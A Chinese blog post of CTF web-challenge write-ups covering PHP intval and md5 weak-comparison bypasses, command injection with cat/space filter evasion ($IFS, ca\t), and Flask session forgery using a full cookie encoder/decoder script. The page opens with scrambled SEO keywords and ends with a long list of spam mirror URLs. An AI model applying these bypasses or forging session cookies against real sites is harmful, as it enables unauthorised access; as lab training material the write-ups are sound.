做pc端网站适配,咋做211校徽加网站,石家庄定制网站建设服务,wordpress入侵过程目录
[WUSTCTF 2020]朴实无华
[FSCTF 2023]源码#xff01;启动!
[LitCTF 2023]Flag点击就送#xff01;
相关知识点
1.intval 绕过
绕过的方式#xff1a;
2.session伪造攻击 [WUSTCTF 2020]朴实无华
1.进入页面几乎没什么可用的信息#xff0c;所以想到使用dis…目录
[WUSTCTF 2020]朴实无华
[FSCTF 2023]源码启动!
[LitCTF 2023]Flag点击就送
相关知识点
1.intval 绕过
绕过的方式
2.session伪造攻击 [WUSTCTF 2020]朴实无华
1.进入页面几乎没什么可用的信息所以想到使用disearch扫描发现robots.txt文件这里也可以通过源代码中联想到robots文件 2.访问robots文件发现一个php文件访问该php文件得到一个假的flag 3.再根据扫描的文件发现有一个fl4g.php文件访问该文件得到一长串php代码 4.接下来就是进行代码审计首先是第一关卡
if (isset($_GET[num])){$num $_GET[num];if(intval($num) 2020 intval($num 1) 2021){echo 我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好./br;}else{die(金钱解决不了穷人的本质问题);}
}else{die(去非洲吧);
} 这串代码主要的作用是使用了intval()函数该函数用于获取变量的整数值。它尝试从给定的变量中获取整数。接下来的if条件是一个逻辑与操作它检查两个条件是否都为真 注意intval()这个函数是强制转换为int类型。
举个例子
?php
echo 3e5 ;
?
//结果为3e5
?php
echo 3e5 1;
?
//结果为300001
这是因为在第一个 echo 语句中3e5 被视为字符串因此会直接输出其内容 3e5。而在第二个语句中虽然 3e5 被当作字符串但由于与数字相加PHP 尝试将其转换为数字。在这种情况下它将 3e3 解释为科学记数法表示 3 乘以 10 的 5次方即 300000然后再加上 1所以结果为 300001。
5.使用如上方法绕过第一关 6.接下来就是第二关
//level 2
if (isset($_GET[md5])){$md5$_GET[md5];if ($md5md5($md5))echo 想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴./br;elsedie(我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲);
}else{die(去非洲吧);
}
//这串代码主要涉及到了弱比较补充弱类型比较中字符0e123和字符0e456虽然是字符类型但是因为比较不比较数据类型只比较值而值就是科学计数法的表示格式结果都是0所以相等返回true 强类型比较中字符0e123和字符0e456在比较数据类型的时候就被当作字符类型而字符0e123和字符0e456当然不相等所以返回false 7.接下来就是第三关这串代码的关键就是过滤空格和cat用其他的替换即可
代替cat: more、less、head、tail、sort、ca\t
代替空格$IFS、${IFS}、$IFS$1、$IFS$9
//get flag
if (isset($_GET[get_flag])){$get_flag $_GET[get_flag];if(!strstr($get_flag, )) //strstr() 函数搜索字符串在另一字符串中是否存在如果是返回该字符串及剩余部分否则返回 FALSE。
{$get_flag str_ireplace(cat, wctf2020, $get_flag);//str_replace() 函数替换字符串中的一些字符区分大小写。这里的意思是将get_flag字符串中的cat替换成wctf2020echo 想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥./br;system($get_flag);}else{die(快到非洲了);}
}else{die(去非洲吧);
} 资料参考PHP strstr() 函数 | 菜鸟教程
PHP str_replace() 函数 | 菜鸟教程
8.按要求传参先传个la看看发现有回显 9.绕过最后一个关卡得到flag
[FSCTF 2023]源码启动!
1.进入页面想到查看源代码发现禁用了右键于是在更多工具中看源代码得到flag [LitCTF 2023]Flag点击就送
资料【python】Flask之session使用_python flask session-CSDN博客
1.根据提示很容易想到要抓包进入页面是如下的页面 2.随便输入一个名字出现以下页面 3.点击拿flag出现以下回显只有管理员可以
4.接下来使用抓包工具发现cookie中有session的值并根据题目可知这个题可能是session伪装漏洞 5. 打开kali输入以下命令进行加解密session的值
这里要使用到python脚本如果载虚拟机中操作还涉及到将脚本保存在虚拟机的文件中
#!/usr/bin/env python3Flask Session Cookie Decoder/Encoder
__author__ Wilson Sumanang, Alexandre ZANNI# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast# Abstract Base Classes (PEP 3119)
if sys.version_info[0] 3: # 3.0raise Exception(Must be using at least Python 3)
elif sys.version_info[0] 3 and sys.version_info[1] 4: # 3.0 3.4from abc import ABCMeta, abstractmethod
else: # 3.4from abc import ABC, abstractmethod# Lib for argument parsing
import argparse# external Imports
from flask.sessions import SecureCookieSessionInterfaceclass MockApp(object):def __init__(self, secret_key):self.secret_key secret_keyif sys.version_info[0] 3 and sys.version_info[1] 4: # 3.0 3.4class FSCM(metaclassABCMeta):def encode(secret_key, session_cookie_structure): Encode a Flask session cookie try:app MockApp(secret_key)session_cookie_structure dict(ast.literal_eval(session_cookie_structure))si SecureCookieSessionInterface()s si.get_signing_serializer(app)return s.dumps(session_cookie_structure)except Exception as e:return [Encoding error] {}.format(e)raise edef decode(session_cookie_value, secret_keyNone): Decode a Flask cookie try:if(secret_keyNone):compressed Falsepayload session_cookie_valueif payload.startswith(.):compressed Truepayload payload[1:]data payload.split(.)[0]data base64_decode(data)if compressed:data zlib.decompress(data)return dataelse:app MockApp(secret_key)si SecureCookieSessionInterface()s si.get_signing_serializer(app)return s.loads(session_cookie_value)except Exception as e:return [Decoding error] {}.format(e)raise e
else: # 3.4class FSCM(ABC):def encode(secret_key, session_cookie_structure): Encode a Flask session cookie try:app MockApp(secret_key)session_cookie_structure dict(ast.literal_eval(session_cookie_structure))si SecureCookieSessionInterface()s si.get_signing_serializer(app)return s.dumps(session_cookie_structure)except Exception as e:return [Encoding error] {}.format(e)raise edef decode(session_cookie_value, secret_keyNone): Decode a Flask cookie try:if(secret_keyNone):compressed Falsepayload session_cookie_valueif payload.startswith(.):compressed Truepayload payload[1:]data payload.split(.)[0]data base64_decode(data)if compressed:data zlib.decompress(data)return dataelse:app MockApp(secret_key)si SecureCookieSessionInterface()s si.get_signing_serializer(app)return s.loads(session_cookie_value)except Exception as e:return [Decoding error] {}.format(e)raise eif __name__ __main__:# Args are only relevant for __main__ usage## Description for helpparser argparse.ArgumentParser(descriptionFlask Session Cookie Decoder/Encoder,epilogAuthor : Wilson Sumanang, Alexandre ZANNI)## prepare sub commandssubparsers parser.add_subparsers(helpsub-command help, destsubcommand)## create the parser for the encode commandparser_encode subparsers.add_parser(encode, helpencode)parser_encode.add_argument(-s, --secret-key, metavarstring,helpSecret key, requiredTrue)parser_encode.add_argument(-t, --cookie-structure, metavarstring,helpSession cookie structure, requiredTrue)## create the parser for the decode commandparser_decode subparsers.add_parser(decode, helpdecode)parser_decode.add_argument(-s, --secret-key, metavarstring,helpSecret key, requiredFalse)parser_decode.add_argument(-c, --cookie-value, metavarstring,helpSession cookie value, requiredTrue)## get argsargs parser.parse_args()## find the option chosenif(args.subcommand encode):if(args.secret_key is not None and args.cookie_structure is not None):print(FSCM.encode(args.secret_key, args.cookie_structure))elif(args.subcommand decode):if(args.secret_key is not None and args.cookie_value is not None):print(FSCM.decode(args.cookie_value,args.secret_key))elif(args.cookie_value is not None):print(FSCM.decode(args.cookie_value))
解密python session.py decode -s “secret_key” -c “需要解密的session值”
加密python session.py encode -s “secret_key” -t “需要加密的session值”首先进行解密发现是flask的session格式
flask的session格式一般是由base64加密的Session数据(经过了json、zlib压缩处理的字符串) 、时间戳 、签名组成的。 其次进行加密又因为提示是必须是管理员所以是name:admin 将得到的session加密值传给页面的session得到flag 相关知识点
1.intval 绕过
intval() 函数可以获取变量的「整数值」。常用于强制类型转换 进行加 1 时会先将$a的科学计数法解析然后再加 1 。也就是说我们传入 12e3 第一次intval会为12 1后会取得12001那么我们成功绕过了。 绕过的方式
1.进制类型转换 绕过思路当某个数字被过滤时可以使用它的 8进制/16进制来绕过。
2.转换数组
intval() 转换数组类型时不关心数组中的内容只判断数组中有没有元素。 【空数组】返回 0
【非空数组】返回 1
如果传入的 $var是数组中的某个值时则当做变量来转换而不是当做数组类型。
$arr1 array(8,6);var_dump(intval($arr1[0]));//输出int(8) 绕过思路对于弱比较ab可以给a、b两个参数传入空数组使弱比较为true。
3.转换小数
intval() 转换小数类型时只返回个位数不遵循四舍五入的原则。
绕过思路当某个数字被过滤时可以给它增加小数位来绕过。
4.转换字符串
intval() 转换字符串类型时会判断字符串是否以数字开头
如果以数字开头就返回1个或多个连续的数字如果以字母开头就返回0
单双引号对转换结果没有影响并且 0 或 0x 开头也只会当做普通字符串 5.取反
intval() 函数支持一些特殊符号的比如~取反。
绕过思路当某个数字被过滤时可以两次取反来绕过。
6.算数运算符
intval() 函数支持算数运算符如果传入的 $var参数包含算数运算符会先运算再对运算结果进行转换。
绕过思路当某个数字被过滤时可以使用算数运算符绕过。
7.浮点数精度缺失问题
由于PHP中的浮点数是【弱类型】存在【精度丢失】的问题在转换时可能会出现意料之外的情况。 资料参考WEB攻防基础|PHP|过滤函数intval()绕过原理及方法-CSDN博客
PHP intval()函数详解intval()函数漏洞原理及绕过思路_intval函数-CSDN博客
2.session伪造攻击
(1)session的作用 由于http协议是一个无状态的协议也就是说同一个用户第一次请求和第二次请求是完全没有关系的但是现在的网站基本上有登录使用的功能这就要求必须实现有状态而session机制实现的就是这个功能。 用户第一次请求后将产生的状态信息保存在session中这时可以把session当做一个容器它保存了正在使用的所有用户的状态信息这段状态信息分配了一个唯一的标识符用来标识用户的身份将其保存在响应对象的cookie中当第二次请求时解析cookie中的标识符拿到标识符后去session找到对应的用户的信息。 (2)session伪造攻击是一种非常流行的针对session的攻击方式.它之所以流行的主要原因是它是一个攻击者获得一个有效的SESSION ID(标识符)最简单的方法使用这种方法可以模仿当前用户的SESSION ID伪装成这个用户然后进一步进行SESSION劫持攻击
(3)flask session的储存方式
第一种方式直接存在客户端的cookies中
第二种方式存储在服务端如redis,memcached,mysqlfile,mongodb等等存在flask-session第三方库flask的session可以保存在客户端的cookie中那么就会产生一定的安全问题。
flask框架的session若存储在客户端就需要解决session被恶意纂改的问题而flask通过一个secret_key也就是密钥对数据进行签名来防止session被纂改。 (4)flask的session格式
flask的session格式一般是由base64加密的Session数据(经过了json、zlib压缩处理的字符串) 、时间戳 、签名组成的。
(5)json的数据可以用花括号{}或中括号[]包裹对应js中的object和array
对象使用花括号 数组使用方括号 字符串类型必须使用双引号 整形、浮点型、布尔类型还有null类型 多个数据之间使用逗号分开
json本质上就是一个字符串
来看一段json数据
{name:admin,age:18}
资料https://zhuanlan.zhihu.com/p/476520054
Session攻击-CSDN博客 文章转载自: http://www.morning.tlrxt.cn.gov.cn.tlrxt.cn http://www.morning.bkwd.cn.gov.cn.bkwd.cn http://www.morning.zrlms.cn.gov.cn.zrlms.cn http://www.morning.mfrb.cn.gov.cn.mfrb.cn http://www.morning.wwznd.cn.gov.cn.wwznd.cn http://www.morning.bpmtg.cn.gov.cn.bpmtg.cn http://www.morning.xnkb.cn.gov.cn.xnkb.cn http://www.morning.lqjlg.cn.gov.cn.lqjlg.cn http://www.morning.qshxh.cn.gov.cn.qshxh.cn http://www.morning.gkjnz.cn.gov.cn.gkjnz.cn http://www.morning.mlzyx.cn.gov.cn.mlzyx.cn http://www.morning.gcspr.cn.gov.cn.gcspr.cn http://www.morning.wjrq.cn.gov.cn.wjrq.cn http://www.morning.zlfxp.cn.gov.cn.zlfxp.cn http://www.morning.dtgjt.cn.gov.cn.dtgjt.cn http://www.morning.sbrjj.cn.gov.cn.sbrjj.cn http://www.morning.xqknl.cn.gov.cn.xqknl.cn http://www.morning.lgtzd.cn.gov.cn.lgtzd.cn http://www.morning.nspzy.cn.gov.cn.nspzy.cn http://www.morning.trjr.cn.gov.cn.trjr.cn http://www.morning.hmfxl.cn.gov.cn.hmfxl.cn http://www.morning.knlgk.cn.gov.cn.knlgk.cn http://www.morning.gcysq.cn.gov.cn.gcysq.cn http://www.morning.ktrzt.cn.gov.cn.ktrzt.cn http://www.morning.tqsmg.cn.gov.cn.tqsmg.cn http://www.morning.wcyr.cn.gov.cn.wcyr.cn http://www.morning.psxfg.cn.gov.cn.psxfg.cn http://www.morning.hmgqy.cn.gov.cn.hmgqy.cn http://www.morning.ljqd.cn.gov.cn.ljqd.cn http://www.morning.fpyll.cn.gov.cn.fpyll.cn http://www.morning.yrccw.cn.gov.cn.yrccw.cn http://www.morning.rpstb.cn.gov.cn.rpstb.cn http://www.morning.jpnw.cn.gov.cn.jpnw.cn http://www.morning.ysrtj.cn.gov.cn.ysrtj.cn http://www.morning.qkxnw.cn.gov.cn.qkxnw.cn http://www.morning.tfpmf.cn.gov.cn.tfpmf.cn http://www.morning.gqbks.cn.gov.cn.gqbks.cn http://www.morning.dkmzr.cn.gov.cn.dkmzr.cn http://www.morning.xqgfy.cn.gov.cn.xqgfy.cn http://www.morning.kspfq.cn.gov.cn.kspfq.cn http://www.morning.xclgf.cn.gov.cn.xclgf.cn http://www.morning.rxfjg.cn.gov.cn.rxfjg.cn http://www.morning.sxygc.cn.gov.cn.sxygc.cn http://www.morning.nrlsg.cn.gov.cn.nrlsg.cn http://www.morning.ddzqx.cn.gov.cn.ddzqx.cn http://www.morning.xmnlc.cn.gov.cn.xmnlc.cn http://www.morning.gjzwj.cn.gov.cn.gjzwj.cn http://www.morning.qhkx.cn.gov.cn.qhkx.cn http://www.morning.kqwsy.cn.gov.cn.kqwsy.cn http://www.morning.wjzzh.cn.gov.cn.wjzzh.cn http://www.morning.mcjrf.cn.gov.cn.mcjrf.cn http://www.morning.nnmnz.cn.gov.cn.nnmnz.cn http://www.morning.hcqpc.cn.gov.cn.hcqpc.cn http://www.morning.ztfzm.cn.gov.cn.ztfzm.cn http://www.morning.zlgbx.cn.gov.cn.zlgbx.cn http://www.morning.czrcf.cn.gov.cn.czrcf.cn http://www.morning.ggjlm.cn.gov.cn.ggjlm.cn http://www.morning.ttaes.cn.gov.cn.ttaes.cn http://www.morning.pxwjp.cn.gov.cn.pxwjp.cn http://www.morning.bzfwn.cn.gov.cn.bzfwn.cn http://www.morning.lnyds.cn.gov.cn.lnyds.cn http://www.morning.xjkfb.cn.gov.cn.xjkfb.cn http://www.morning.gqfks.cn.gov.cn.gqfks.cn http://www.morning.wcft.cn.gov.cn.wcft.cn http://www.morning.bpmdz.cn.gov.cn.bpmdz.cn http://www.morning.cptzd.cn.gov.cn.cptzd.cn http://www.morning.tmfhx.cn.gov.cn.tmfhx.cn http://www.morning.pbtdr.cn.gov.cn.pbtdr.cn http://www.morning.mlcnh.cn.gov.cn.mlcnh.cn http://www.morning.ntqqm.cn.gov.cn.ntqqm.cn http://www.morning.tmcmj.cn.gov.cn.tmcmj.cn http://www.morning.rhjhy.cn.gov.cn.rhjhy.cn http://www.morning.rnfn.cn.gov.cn.rnfn.cn http://www.morning.tjqcfw.cn.gov.cn.tjqcfw.cn http://www.morning.yltyr.cn.gov.cn.yltyr.cn http://www.morning.tssmk.cn.gov.cn.tssmk.cn http://www.morning.xxlz.cn.gov.cn.xxlz.cn http://www.morning.qkgwz.cn.gov.cn.qkgwz.cn http://www.morning.hmktd.cn.gov.cn.hmktd.cn http://www.morning.kmwbq.cn.gov.cn.kmwbq.cn